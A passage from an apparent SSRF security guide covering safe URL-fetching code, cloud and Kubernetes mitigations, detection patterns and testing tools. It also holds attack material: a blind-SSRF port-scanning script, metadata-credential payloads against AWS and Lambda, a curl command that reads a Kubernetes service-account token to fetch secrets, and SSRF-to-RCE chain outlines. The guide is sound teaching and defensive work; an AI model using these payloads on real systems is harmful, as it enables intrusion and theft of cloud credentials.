63        if (responseCode >= 300 && responseCode < 400) {
64            throw new SecurityException("Redirects not allowed");
65        }
66
67        // Read response with size limit
68        try (BufferedReader in = new BufferedReader(
69                new InputStreamReader(conn.getInputStream()))) {
70            StringBuilder response = new StringBuilder();
71            String line;
72            int totalSize = 0;
73            int maxSize = 10 * 1024 * 1024; // 10MB
74
75            while ((line = in.readLine()) != null) {
76                totalSize += line.length();
77                if (totalSize > maxSize) {
78                    throw new SecurityException("Response too large");
79                }
80                response.append(line);
81            }
82
83            return response.toString();
84        }
85    }
86}

Go (net/http)

gosafe_http.go
1package main
2
3import (
4    "fmt"
5    "io"
6    "net"
7    "net/http"
8    "net/url"
9    "time"
10)
11
12var allowedHosts = map[string]bool{
13    "api.trusted.com": true,
14}
15
16func isSafeURL(urlStr string) bool {
17    parsedURL, err := url.Parse(urlStr)
18    if err != nil {
19        return false
20    }
21
22    // Only allow http/https
23    if parsedURL.Scheme != "http" && parsedURL.Scheme != "https" {
24        return false
25    }
26
27    hostname := parsedURL.Hostname()
28
29    // Resolve IP
30    ips, err := net.LookupIP(hostname)
31    if err != nil {
32        return false
33    }
34
35    for _, ip := range ips {
36        // Block private IPs
37        if ip.IsPrivate() || ip.IsLoopback() || ip.IsLinkLocalUnicast() {
38            return false
39        }
40
41        // Block cloud metadata
42        if ip.String() == "169.254.169.254" {
43            return false
44        }
45    }
46
47    // Domain allowlist
48    if !allowedHosts[hostname] {
49        return false
50    }
51
52    return true
53}
54
55func fetchURLSafe(urlStr string) (string, error) {
56    if !isSafeURL(urlStr) {
57        return "", fmt.Errorf("URL not allowed")
58    }
59
60    client := &http.Client{
61        Timeout: 5 * time.Second,
62        CheckRedirect: func(req *http.Request, via []*http.Request) error {
63            return http.ErrUseLastResponse // Don't follow redirects
64        },
65    }
66
67    req, err := http.NewRequest("GET", urlStr, nil)
68    if err != nil {
69        return "", err
70    }
71
72    req.Header.Set("User-Agent", "MyApp/1.0")
73
74    resp, err := client.Do(req)
75    if err != nil {
76        return "", err
77    }
78    defer resp.Body.Close()
79
80    // Check for redirects
81    if resp.StatusCode >= 300 && resp.StatusCode < 400 {
82        return "", fmt.Errorf("redirects not allowed")
83    }
84
85    // Limit response size
86    maxSize := int64(10 * 1024 * 1024) // 10MB
87    body, err := io.ReadAll(io.LimitReader(resp.Body, maxSize))
88    if err != nil {
89        return "", err
90    }
91
92    return string(body), nil
93}

Cloud-Specific Mitigations

AWS IMDSv2
Enforce IMDSv2 which requires a session token obtained via PUT request. This prevents most SSRF attacks against the metadata service.
bashaws_imdsv2_enforce.sh
1# Enforce IMDSv2 on EC2 instances
2aws ec2 modify-instance-metadata-options \
3    --instance-id i-1234567890abcdef0 \
4    --http-tokens required \
5    --http-put-response-hop-limit 1
6
7# Launch template with IMDSv2
8aws ec2 create-launch-template \
9    --launch-template-name my-template \
10    --launch-template-data '{
11        "MetadataOptions": {
12            "HttpTokens": "required",
13            "HttpPutResponseHopLimit": 1
14        }
15    }'

Network-Level Protections

yamlkubernetes_network_policy.yaml
1# Kubernetes Network Policy to block metadata access
2apiVersion: networking.k8s.io/v1
3kind: NetworkPolicy
4metadata:
5  name: block-metadata
6spec:
7  podSelector: {}
8  policyTypes:
9  - Egress
10  egress:
11  # Allow DNS
12  - to:
13    - namespaceSelector: {}
14    ports:
15    - protocol: UDP
16      port: 53
17  # Block metadata endpoint
18  - to:
19    - ipBlock:
20        cidr: 0.0.0.0/0
21        except:
22        - 169.254.169.254/32
23        - 10.0.0.0/8
24        - 172.16.0.0/12
25        - 192.168.0.0/16
Defense in Depth
Combine application-level validation with network-level controls. Even if one layer fails, others provide protection. Monitor and alert on suspicious outbound connections.

7.Advanced Topics

This section covers advanced SSRF scenarios including blind exploitation, second-order vulnerabilities, and SSRF in modern cloud-native architectures.

Time-Based Blind SSRF

When you can't see responses, use timing analysis to infer information:

pythonblind_ssrf_timing.py
1import requests
2import time
3import statistics
4
5def time_based_port_scan(base_url, target_ip, port):
6    """
7    Use timing to detect open ports in blind SSRF
8    Open ports typically respond faster than filtered/closed ports
9    """
10    timings = []
11
12    for _ in range(5):  # Multiple samples for accuracy
13        payload = f"{base_url}?url=http://{target_ip}:{port}/"
14
15        start = time.time()
16        try:
17            requests.get(payload, timeout=10)
18        except requests.exceptions.Timeout:
19            timings.append(10.0)  # Timeout value
20        except Exception:
21            pass
22        elapsed = time.time() - start
23        timings.append(elapsed)
24
25    avg_time = statistics.mean(timings)
26    std_dev = statistics.stdev(timings)
27
28    # Analysis:
29    # Open ports: fast response (< 1s)
30    # Closed ports: immediate rejection or timeout
31    # Filtered: timeout (10s)
32
33    if avg_time < 1.5 and std_dev < 0.5:
34        return "OPEN"
35    elif avg_time > 8:
36        return "FILTERED"
37    else:
38        return "CLOSED"
39
40# Scan common ports
41target = "192.168.1.100"
42common_ports = [22, 80, 443, 3306, 6379, 8080]
43
44for port in common_ports:
45    status = time_based_port_scan("http://vulnerable.com/fetch", target, port)
46    print(f"Port {port}: {status}")

Second-Order SSRF

Second-order SSRF occurs when user input is stored and later used in a server-side request without the user's direct interaction.

Hidden Danger
Second-order SSRF is often overlooked because the injection point and exploitation happen at different times and locations in the application.
javascriptsecond_order_ssrf.js
1// Example: User profile with avatar URL
2
3// Step 1: User sets avatar URL (stored in database)
4POST /api/profile/update
5{
6  "avatar_url": "http://169.254.169.254/latest/meta-data/"
7}
8
9// Step 2: Later, admin views user profile
10// Application fetches avatar URL server-side to generate thumbnail
11GET /api/admin/users/123
12
13// Server-side code:
14async function generateThumbnail(user) {
15  // VULNERABLE: Fetches user-controlled URL
16  const avatarUrl = user.avatar_url;
17  const response = await fetch(avatarUrl);
18  const image = await response.buffer();
19  return createThumbnail(image);
20}
21
22// SSRF is triggered when admin views the profile!

SSRF in Microservices

Cloud-native architectures introduce new SSRF attack surfaces:

Kubernetes Service Discovery

In Kubernetes, services can be accessed via DNS:

text
1# Internal service discovery
2http://service-name.namespace.svc.cluster.local
3
4# Default namespace
5http://kubernetes.default.svc.cluster.local
6
7# Accessing Kubernetes API
8http://kubernetes.default.svc.cluster.local/api/v1/namespaces
9http://kubernetes.default.svc.cluster.local/api/v1/secrets
10
11# With service account token
12curl -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
13  https://kubernetes.default.svc.cluster.local/api/v1/namespaces/default/secrets

SSRF to RCE Chains

SSRF can be chained with other vulnerabilities for maximum impact:

SSRF → Redis → RCE

Use gopher protocol to send Redis commands, write web shell to disk, achieve RCE

SSRF → Elasticsearch → RCE

Access Elasticsearch API, exploit known CVEs, execute arbitrary code

SSRF → Kubernetes API → Container Escape

Access K8s API with service account token, create privileged pod, escape to host

SSRF → XXE → File Read → Credential Theft

Trigger XML parsing on internal service, exploit XXE, read sensitive files

SSRF in Serverless Functions

Serverless environments have unique SSRF risks:

pythonlambda_ssrf.py
1# AWS Lambda function vulnerable to SSRF
2import json
3import urllib.request
4
5def lambda_handler(event, context):
6    # User-controlled URL from API Gateway
7    url = event.get('queryStringParameters', {}).get('url')
8
9    # VULNERABLE: No validation
10    response = urllib.request.urlopen(url)
11    data = response.read()
12
13    return {
14        'statusCode': 200,
15        'body': json.dumps(data.decode())
16    }
17
18# Exploitation:
19# GET /function?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/lambda-role
20
21# Lambda's IAM role credentials are exposed!
22# Attacker can now access all resources the Lambda has permissions for
Serverless Risks
Serverless functions often have elevated permissions to access cloud resources. SSRF in serverless can lead to privilege escalation and widespread access to cloud infrastructure.

Monitoring and Detection

Implement monitoring to detect SSRF attempts:

pythonssrf_detection.py
1# Log and alert on suspicious patterns
2
3import logging
4from dataclasses import dataclass
5from typing import List
6
7@dataclass
8class SSRFIndicator:
9    pattern: str
10    severity: str
11    description: str
12
13SSRF_INDICATORS: List[SSRFIndicator] = [
14    SSRFIndicator("169.254.169.254", "CRITICAL", "AWS/Azure metadata access"),
15    SSRFIndicator("metadata.google.internal", "CRITICAL", "GCP metadata access"),
16    SSRFIndicator("127.0.0.1", "HIGH", "Localhost access"),
17    SSRFIndicator("localhost", "HIGH", "Localhost access"),
18    SSRFIndicator("192.168.", "HIGH", "Private IP range"),
19    SSRFIndicator("10.", "HIGH", "Private IP range"),
20    SSRFIndicator("file://", "CRITICAL", "File protocol"),
21    SSRFIndicator("gopher://", "HIGH", "Gopher protocol"),
22    SSRFIndicator("dict://", "MEDIUM", "Dict protocol"),
23]
24
25def detect_ssrf_attempt(url: str) -> List[SSRFIndicator]:
26    """Detect potential SSRF in URL"""
27    detected = []
28    url_lower = url.lower()
29
30    for indicator in SSRF_INDICATORS:
31        if indicator.pattern.lower() in url_lower:
32            detected.append(indicator)
33            logging.warning(
34                f"SSRF attempt detected: {indicator.description}",
35                extra={
36                    'url': url,
37                    'severity': indicator.severity,
38                    'pattern': indicator.pattern
39                }
40            )
41
42    return detected
43
44# Usage in your application
45def process_url(url):
46    indicators = detect_ssrf_attempt(url)
47
48    if any(i.severity == "CRITICAL" for i in indicators):
49        # Block and alert
50        raise SecurityException("SSRF attempt blocked")
51
52    if indicators:
53        # Log for investigation
54        logging.warning(f"Suspicious URL processed: {url}")
55
56    # Continue with validation...
Security Operations
Set up alerts for: unusual outbound connections, requests to metadata IPs, failed connection attempts to internal IPs, and suspicious User-Agent patterns from internal services.

8.Tools & Resources

This section provides a curated list of tools, resources, and references for SSRF testing and prevention.

Testing Tools

Burp Suite

Industry-standard web security testing platform with SSRF detection capabilities.

  • • Burp Collaborator for out-of-band detection
  • • Active/passive SSRF scanning
  • • Custom extensions available

ffuf

Fast web fuzzer for discovering SSRF endpoints and testing bypasses.

  • • URL parameter fuzzing
  • • Header injection testing
  • • Response analysis

SSRFmap

Automated SSRF exploitation tool with multiple protocol support.

  • • Cloud metadata enumeration
  • • Gopher/dict protocol support
  • • Bypass payload generation

interact.sh

Out-of-band interaction server for blind vulnerability detection.

  • • DNS/HTTP callback detection
  • • Free hosted service
  • • Self-hosted option available

Security References

OWASP SSRF Prevention Cheat Sheet

https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html

PortSwigger Web Security Academy

https://portswigger.net/web-security/ssrf - Interactive labs and learning materials

HackerOne SSRF Reports

https://hackerone.com/hacktivity?querystring=ssrf - Real bug bounty reports

AWS Security Best Practices

https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html - IMDSv2 documentation

Further Reading

  • "A New Era of SSRF" by Orange Tsai - Advanced SSRF exploitation techniques
  • CWE-918 - Common Weakness Enumeration for SSRF
  • RFC 1918 - Private IP address allocation
  • Cloud Security Alliance - Cloud-specific security guidance
Continuous Learning
SSRF attack and defense techniques constantly evolve. Stay updated through security blogs, conference talks (DEF CON, Black Hat), and active participation in bug bounty programs.

Summary

Server-Side Request Forgery remains one of the most impactful web security vulnerabilities. This guide has covered:

  • Understanding SSRF mechanics and attack vectors
  • Detection and identification methodologies
  • Exploitation techniques and bypass methods
  • Real-world examples and case studies
  • Prevention strategies across languages
  • Advanced topics and modern architectures

Remember: defense-in-depth is key. No single control is perfect. Combine application validation, network segmentation, least privilege, and continuous monitoring for effective SSRF prevention.